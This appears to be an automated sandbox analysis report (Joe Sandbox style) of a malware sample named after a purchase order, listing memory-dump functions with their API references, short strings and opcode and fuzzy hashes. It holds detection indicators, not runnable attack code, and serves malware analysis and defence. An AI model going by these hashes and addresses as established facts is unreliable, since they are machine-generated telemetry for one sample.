Instruction ID: 113b539f21a70f541e1d78d29baad3fbb5e1d670c2cf2190c4bf7e82f7b86682
Opcode Fuzzy Hash: 3eb5461eef7904a4a245b775b579bb32b17dfe9ce934730654127f9aeb6de555
Instruction Fuzzy Hash: E22118B1D002099FCB10DFAAC844AEEFBF4FF58314F14841AD459A7250C7759944CFA0

Function 067DC6F1 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 067DC767

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b3e40d9ff8e042b04090b2b368f4fcb4740c205120cb773a51f608cc56daffe3
Instruction ID: 8dbb258d3c7673a924f5f80f3e2f44bda2f2ab980f18bf63848fd2df5390d5d4
Opcode Fuzzy Hash: b3e40d9ff8e042b04090b2b368f4fcb4740c205120cb773a51f608cc56daffe3
Instruction Fuzzy Hash: 4B119DB19003098ECB10DFAAC8447EEFFF9EF58310F14841AD415A7240CB38A945CBA0

Function 067DD788 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 067DD7FC

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3292cdde1e8bfa93198db74dd0d2a04f409829ecb4f655133319cc6dd3dbbe2a
Instruction ID: 9da14bc9881e93351627a601988f087f49ee4c637ad8d2d19635df5ceaef2892
Opcode Fuzzy Hash: 3292cdde1e8bfa93198db74dd0d2a04f409829ecb4f655133319cc6dd3dbbe2a
Instruction Fuzzy Hash: 772115B1C002099FDB20DFAAC445BEEFBF5EF48320F54842AD519A7240CB789945CFA1

Function 065A0308 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 065A037C

Memory Dump Source

Source File: 00000000.00000002.2164245963.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 793dbca1ec54d8d0387485f86e6dc72b18d5075b1f2fe4b12f99e6c6c1236eb2
Instruction ID: 55119c2005262fc3af1f6b18510f912da71a1164a5166cef59a887f29a4439ae
Opcode Fuzzy Hash: 793dbca1ec54d8d0387485f86e6dc72b18d5075b1f2fe4b12f99e6c6c1236eb2
Instruction Fuzzy Hash: 8E11F4B1D003099FCB10DFAAC844AAEFBF5FF58314F54842AD519A7250C779A944CFA1

Function 067DC6F8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 067DC767

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 22cc831e4e6112c7bf064a3e9c622b41e5fcb8ee96553cac2cf33b97aa682646
Instruction ID: 6b7948273930e1c47b50a051bf679599a90769b17c0222e18177887c785b2c1c
Opcode Fuzzy Hash: 22cc831e4e6112c7bf064a3e9c622b41e5fcb8ee96553cac2cf33b97aa682646
Instruction Fuzzy Hash: 2D1137B19002498ADB10DFAAC445BEEFBF8AF59724F14841AD459A7240CB79A944CBA4

Function 067C44E8 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 067C455E

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1825dcb3b55fdc9d9eaf095a95379efe76cf8348f102030ac19c410600f722a1
Instruction ID: e412709a0405669bf17ea1d19bac10b2f6839e326b1ef6eb2dfe378ced22313f
Opcode Fuzzy Hash: 1825dcb3b55fdc9d9eaf095a95379efe76cf8348f102030ac19c410600f722a1
Instruction Fuzzy Hash: AF1144B68002499FCB10DFA9D9457EEBBF5FF48324F24881AE519A7250C7399640CFA1

Function 067C44F0 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 067C455E

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1ecf3e8d0b23a8bda0ec40abc8bd100f6fceb35f04d2efec286e208cc544df49
Instruction ID: 45e8fc6bcca4c45df84579d2833e99517c1301afacf9bf2ccb38d8acf5277386
Opcode Fuzzy Hash: 1ecf3e8d0b23a8bda0ec40abc8bd100f6fceb35f04d2efec286e208cc544df49
Instruction Fuzzy Hash: 971137B19002499FCB10DFAAD844AEEBFF5FF88324F148419E519A7250C779A540CFA1

Function 0660C7B0 Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

,aq, xrefs: 0660CB3B

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: ,aq
API String ID: 0-3092978723
Opcode ID: f74b60b0f7f025c7b0ae523c28de882720744bc363fd9aeecb5f4f9875c1e383
Instruction ID: 9268253b697a8cffd625f8db18f5884178af1976e3c746b38b25ce34e08bd6e3
Opcode Fuzzy Hash: f74b60b0f7f025c7b0ae523c28de882720744bc363fd9aeecb5f4f9875c1e383
Instruction Fuzzy Hash: 0DC18270A002189FDB58DF69C945BDEBBF6FF88700F158199E509AB3A1CA309D81CF61

Function 066A3229 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

0M, xrefs: 066A3344, 066A33B0, 066A34A6, 066A34D6, 066A3534, 066A35B7, 066A35E4

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 2a0a9b87afc5ebcc18230a609696aa54c23a3b87220d83c340e8d06c07b7af48
Instruction ID: 27d5071ce5a91ba204b18ccaf72b91add2af839c90628640f4b73043ecdd2db0
Opcode Fuzzy Hash: 2a0a9b87afc5ebcc18230a609696aa54c23a3b87220d83c340e8d06c07b7af48
Instruction Fuzzy Hash: EBB1F170E08258DFDB94DFA9D444AADBBB1EB89301F10802AE815FB354DB359D55CFA0

Function 010642B3 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

PH]q, xrefs: 010646B9

Memory Dump Source

Source File: 00000000.00000002.2148641823.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1060000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 99a95f97a9c4aa1762d15ca18cbdcdba423bbded4525930c77d5c81b6ea14a12
Instruction ID: 9b1ccd26c8ddf0d913cdda3b6f01ee67bd54b0e8009afdd544faeacc38384df4
Opcode Fuzzy Hash: 99a95f97a9c4aa1762d15ca18cbdcdba423bbded4525930c77d5c81b6ea14a12
Instruction Fuzzy Hash: DCC1BF74D06269CFEB64CF28C988BADBBF5BB48301F0080EAD489E2255DB745AC5CF51

Function 0660B8D8 Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

4']q, xrefs: 0660BB02

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 491bdb914a8a421e39b9462b2905f08247b84080066e8dbed8237978cfc8a60b
Instruction ID: a33dd5058f0770762e58cb448494a9ad3edb2498767f46ab8de03271024dd8d1
Opcode Fuzzy Hash: 491bdb914a8a421e39b9462b2905f08247b84080066e8dbed8237978cfc8a60b
Instruction Fuzzy Hash: 3CA11034A10218DFDB48EFA4D994D9EBBB2FF89300F118169E415AB3A5DB71EC46CB50

Function 06602530 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

(aq, xrefs: 066025A4

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 8f4dfad0c42d0ef0da1f52f43e055a7e42327ec59970f3e341884c4407874170
Instruction ID: 58d3e59a1aba92dd02c1db98a23ad49e2a86ce89d0e061dce7fc83af7b9d02b8
Opcode Fuzzy Hash: 8f4dfad0c42d0ef0da1f52f43e055a7e42327ec59970f3e341884c4407874170
Instruction Fuzzy Hash: 77614935B002018FDB55CF68D868AABBBB9FF85310F1581AAE515DB381C730E956CBD1

Function 066A5AB0 Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

0M, xrefs: 066A5C8E, 066A5D6C

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 59f79167ba7a7f3a8431012c6a0453f36f51d30818c07716abc9cead071688b7
Instruction ID: 59a0dae7e250f87b3ee14a8c168aff14b434a8327c2f06aaf39fa06674bd9ffa
Opcode Fuzzy Hash: 59f79167ba7a7f3a8431012c6a0453f36f51d30818c07716abc9cead071688b7
Instruction Fuzzy Hash: E681FF74E05318CFDB94DFA9D9946AEBBB2FB48301F10812AD506AB294D7705D46CFA0

Function 06601570 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

paq, xrefs: 06601620

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: paq
API String ID: 0-3273118895
Opcode ID: eb05afa1a9a4dcf8c474fde36a1e795c739c10c1cc5a8bb70c0362e09b6a2ac9
Instruction ID: b70e1807bfdca73d459c0d7ac812699f71f742b49843aed8a8c6db97f1114e63
Opcode Fuzzy Hash: eb05afa1a9a4dcf8c474fde36a1e795c739c10c1cc5a8bb70c0362e09b6a2ac9
Instruction Fuzzy Hash: 26515F76600100AFCB499FA8DD04D6ABFE3FF8D31471584D9E2099B276DA32DC21DB50

Function 06601560 Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

paq, xrefs: 06601620

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: paq
API String ID: 0-3273118895
Opcode ID: b0c51344853e613a73990cab41e3314e64a59459f47066df3d672957b8618d07
Instruction ID: fc111df4da7d5d762000853dff232085bdab00e4097fcee5a3c4ac9d31caaa8a
Opcode Fuzzy Hash: b0c51344853e613a73990cab41e3314e64a59459f47066df3d672957b8618d07
Instruction Fuzzy Hash: D6516F76600100AFCB4A9F98DD04D66BFE6FF8D32471A85D5F2098F276D636D821DB90

Function 0660F577 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

4']q, xrefs: 0660F5C2

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: de5eed13212ce9cfc595c17b962a30b9df69621dc871ed170e0281ea323d710b
Instruction ID: 578515fbf56c0260e3617cc7baa0fcea268a0573a0a172f21a76bfb957293256
Opcode Fuzzy Hash: de5eed13212ce9cfc595c17b962a30b9df69621dc871ed170e0281ea323d710b
Instruction Fuzzy Hash: 54418330B106148FDB98AB69D854A6F7BAAAFC9700F10802DD4129B3E4CF759C46CB95

Function 066A5AA2 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

0M, xrefs: 066A5C8E, 066A5D6C

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 0ad8d1ac591ebab9f6c019f3ee82fb352263167b67797f809c70e4e732e58200
Instruction ID: 843948985193d041c163633c88652b88aca59ea9bb67a0f39b4a8e5dc5130ef1
Opcode Fuzzy Hash: 0ad8d1ac591ebab9f6c019f3ee82fb352263167b67797f809c70e4e732e58200
Instruction Fuzzy Hash: 83513474E05308CFDB94DFA9D894AAEBBB2FF49301F14812AD506A7291D7705D46CFA0

Function 066A5BE9 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

0M, xrefs: 066A5BE9, 066A5C8E, 066A5D6C

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 9105ffb8687894c15821d0e623443a30887e3663e273f0b1edaae3c4ea9f9f6e
Instruction ID: 74a28c997e64c82e331cace1c7578dcdd609fdd68a1a11635eb29edefffe3998
Opcode Fuzzy Hash: 9105ffb8687894c15821d0e623443a30887e3663e273f0b1edaae3c4ea9f9f6e
Instruction Fuzzy Hash: 1151E1B4E05308CFDB94EFA9D5946ADBBB2FF48301F20812AD506A7254D7745D46CF60

Function 06601DF0 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

`A, xrefs: 06601EBA

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: `A
API String ID: 0-143349203
Opcode ID: a28d341b3c6498925287308abd544d4270d14caba23c7480d95da642a2a25ba3
Instruction ID: 23dead907f8dc86ad556c0d809abdf3d00712db591bfe73c76bb1465f210d871
Opcode Fuzzy Hash: a28d341b3c6498925287308abd544d4270d14caba23c7480d95da642a2a25ba3
Instruction Fuzzy Hash: 943104327092A16FD7155B7CD8509EB7FAAEF86320B0540B7F504CB2A2DA618D15C3E1

Function 0660A95A Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

4']q, xrefs: 0660A9A1

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 837a4e0c98ce97d88c05429b811b680c25a197b42c8d904de2b47be90609dca5
Instruction ID: 21a287373d25e1d897034822b11fc1f6a6c1d372e9bd49bffb3f138d54adeea5
Opcode Fuzzy Hash: 837a4e0c98ce97d88c05429b811b680c25a197b42c8d904de2b47be90609dca5
Instruction Fuzzy Hash: 3631C3327402149FCB189F98D954D9A7FB7FF8C360B114065E60A9B3A1CA31DC56CBA0

Function 066AFC58 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

0M, xrefs: 066AFCE5, 066AFD1F, 066AFD4B

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: bf74402acf07d6c731d19da5b7c16b5c850d47dcee98230fb278cac52a5b421a
Instruction ID: 2cc48c21dc53ca62551ca22dd58920b14645be062af28437c75765b44cfe4328
Opcode Fuzzy Hash: bf74402acf07d6c731d19da5b7c16b5c850d47dcee98230fb278cac52a5b421a
Instruction Fuzzy Hash: 6A313974E04209CFDB44DFAAD4446EEBBF6EB88304F10D025D916A7354DB349A46CFA1

Function 06601918 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

`A, xrefs: 066019D3

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: `A
API String ID: 0-143349203
Opcode ID: ccc0b1465862e7cc2c8f28a19bbad6baa7a65def251f1e8f912fdeb8209a0f6f
Instruction ID: 77e9f801b7898f9486db509930ba12524272f2c80fa6bd7c183673f93dd28da1
Opcode Fuzzy Hash: ccc0b1465862e7cc2c8f28a19bbad6baa7a65def251f1e8f912fdeb8209a0f6f
Instruction Fuzzy Hash: E7217135A00108EFDF588FA9C8449EEBBB6FF8D320F144129E515A7394CA715845CF94

Function 0660606F Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

p<]q, xrefs: 066060BA

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: p<]q
API String ID: 0-1327301063
Opcode ID: ee9bb04ad18d534de5d3e4a4cdfbcd5962a0da4c5b0eaa0f6dce0775f6655a0b
Instruction ID: 00c7774fb7d01e0837a892d8155f6e21849628a8dc88ab1722fb55cfd72715ef
Opcode Fuzzy Hash: ee9bb04ad18d534de5d3e4a4cdfbcd5962a0da4c5b0eaa0f6dce0775f6655a0b
Instruction Fuzzy Hash: AF217F313442959FDB46CF2AC844DAB7FE6EF8A210B0540A6F845CB3B1DA35DC60CB61

Function 06606080 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<]q, xrefs: 066060BA

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: p<]q
API String ID: 0-1327301063
Opcode ID: 7dfa832f22f3ecf9577086c64d2b689f93a995d916bf98713e2a77ffab81cedd
Instruction ID: 6e2964f724894334b11d3759ff4ea96c9c6accaf4245ae0a07a0889ef72cb227
Opcode Fuzzy Hash: 7dfa832f22f3ecf9577086c64d2b689f93a995d916bf98713e2a77ffab81cedd
Instruction Fuzzy Hash: 4E2150703441559FDB45CF2AC840EAB7BEAAF89311B0580A5FC55CB3B1DA35DC61DBA0

Function 06A90A1E Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

0M, xrefs: 06A90A54, 06A90AE5

Memory Dump Source

Source File: 00000000.00000002.2170523553.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a90000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 27e0b0d91211b8ff0d3986944a2fc27d5568c767b1fc44ec423ecafc46e86ad6
Instruction ID: aaef5a264e8f2c708a1eea723c44f6e7d2a5261857274329a5ad8db66c0992a2
Opcode Fuzzy Hash: 27e0b0d91211b8ff0d3986944a2fc27d5568c767b1fc44ec423ecafc46e86ad6
Instruction Fuzzy Hash: A3319274A022298FDB64DF28DD84AD8B7F1EB0A344F1084DAE81DA7B54D7349E858F12

Function 010623C8 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

0M, xrefs: 0106245A, 01062492

Memory Dump Source

Source File: 00000000.00000002.2148641823.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1060000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 867c4a31a5e8c806dab3f82f501da336a04d831061562ef5b151d136303d59cd
Instruction ID: 5d25e0bd727e400b389cfc3225693f6a52cdaf194704f6b80c8d622ca37fdf6e
Opcode Fuzzy Hash: 867c4a31a5e8c806dab3f82f501da336a04d831061562ef5b151d136303d59cd
Instruction Fuzzy Hash: 0E2138B0905208DFDB44DFA8D4487ADBBF9EB4A305F10D0AAD419E3752DB754A84CF61

Function 0660FEB0 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

0M, xrefs: 0660FF1E

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 86ecbbda2c5d3f97b3fa6ca9fc0f0bc1a9d118b7a61c86366b1e85e8452881c2
Instruction ID: 3522dc413739e32572da261afe9c4e5cfbf2f66290044be73b1695f150635c3d
Opcode Fuzzy Hash: 86ecbbda2c5d3f97b3fa6ca9fc0f0bc1a9d118b7a61c86366b1e85e8452881c2
Instruction Fuzzy Hash: 1B21F4B4D052099FCB98DFA9D544AEEBBF5EB4D300F10816AE818E7350EB349A41CF90

Function 010623D8 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

0M, xrefs: 0106245A, 01062492

Memory Dump Source

Source File: 00000000.00000002.2148641823.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1060000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 5557ebc96e5bda77236edef3978bf140956528aaed6a1f4d58a438d720d2bb83
Instruction ID: 986012df2415cd405c2dc44e29615490bbdf18d6b91c499fc1f0389318c7d277
Opcode Fuzzy Hash: 5557ebc96e5bda77236edef3978bf140956528aaed6a1f4d58a438d720d2bb83
Instruction Fuzzy Hash: 422158B0D05208DFDB44EFA8C4487ADBBF9EB4A305F10D0AAD419E3352DB754A84CB61

Function 0660FEC0 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

0M, xrefs: 0660FF1E

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 2a36d1fc7aa68a5cdbd1d71c2445c2f1c00b47c1afe8cc19b9c59ac92cadef84
Instruction ID: 54aa5b1120fe20cb06e86ab1338ea955267999aff45382c464869178af85788c
Opcode Fuzzy Hash: 2a36d1fc7aa68a5cdbd1d71c2445c2f1c00b47c1afe8cc19b9c59ac92cadef84
Instruction Fuzzy Hash: 7321C674D052099FDB98DFA9C540AEEBBF5FB8D300F10806AE818A7354D7349A41CF90

Function 065A12E8 Relevance: 1.3, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 065A135B

Memory Dump Source

Source File: 00000000.00000002.2164245963.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 534b8a2065272f857cbb26277060ff5ba44a9b5facb6b077214ba91f89a5e8b2
Instruction ID: 60ff1b69eeb306644a47ed7ceee29bb9a8b1a95b543eaec4209e759c0b04b670
Opcode Fuzzy Hash: 534b8a2065272f857cbb26277060ff5ba44a9b5facb6b077214ba91f89a5e8b2
Instruction Fuzzy Hash: AD1147718006089FCB20DFAAC844AEEBFF5EF89314F14841AE569A7250CB759544CBA0

Function 065A12F0 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 065A135B

Memory Dump Source

Source File: 00000000.00000002.2164245963.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cacb1fa02eb3b85530f97c9a837ff0647a9783c666cfc93b3b09d0a31dddb283
Instruction ID: c42985fc94ac4f6d71f0eac88367c559caca49640ce5ff8faf755cdf5ef4acb5
Opcode Fuzzy Hash: cacb1fa02eb3b85530f97c9a837ff0647a9783c666cfc93b3b09d0a31dddb283
Instruction Fuzzy Hash: 441137759002088FCB20DFAAC844AEEFBF5FF48320F14841AD559A7250C779A540CFA0

Function 066AE9F0 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

0M, xrefs: 066AF30F

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: adb882e5c534e112480b92787d37df24932a30204f98865d3319c24c92c45636
Instruction ID: 955f0000603a65956e0a85d3ec6044b48fbe93e9f7c6a70fbeaf94a3ecf02668
Opcode Fuzzy Hash: adb882e5c534e112480b92787d37df24932a30204f98865d3319c24c92c45636
Instruction Fuzzy Hash: A5114530D152189FEB48DF6AE8407D9B7B7BB8A300F0090A9E609A3395CB715E95DF51

Function 06A95901 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

0M, xrefs: 06A95910, 06A95942, 06A95974

Memory Dump Source

Source File: 00000000.00000002.2170523553.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a90000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 573b1ca8ea35efd32956b607d664cf6d63e190b1f6c50141379907d7f7bdf5dc
Instruction ID: fba4956529a45f37c30ce9fabd71edc257f33a4356997be0bcb2b9c5fdf6bb1f
Opcode Fuzzy Hash: 573b1ca8ea35efd32956b607d664cf6d63e190b1f6c50141379907d7f7bdf5dc
Instruction Fuzzy Hash: F6110C74A052288FDB64DF58D898AD9B7F2FB49704F1081E9E91DA3384CB319E85CF50

Function 01064F16 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

9, xrefs: 01064F90

Memory Dump Source

Source File: 00000000.00000002.2148641823.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1060000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
